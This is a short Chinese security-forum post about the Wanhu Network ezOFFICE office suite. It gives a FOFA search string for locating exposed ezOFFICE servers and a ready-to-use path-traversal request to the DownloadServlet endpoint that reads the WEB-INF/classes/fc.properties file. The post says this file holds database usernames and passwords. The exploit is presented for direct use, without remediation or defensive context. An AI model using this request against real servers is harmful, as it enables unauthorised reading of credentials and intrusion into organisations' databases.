万户网络获取数据库配置文件

252 主题	252 帖子	1307 积分

金牌会员

Rank: 6 Rank: 6

积分: 1307

发消息

发表于 2022-12-28 13:53:47 | 显示全部楼层 |阅读模式

fofa：app="万户网络-ezOFFICE"

执行POC读取配置文件，得到数据库账户密码

/defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2

使用道具举报

返回列表

小黑屋|安全矩阵

GMT+8, 2024-5-9 00:05 , Processed in 0.011606 second(s), 18 queries .

		自动登录	找回密码
密码			立即注册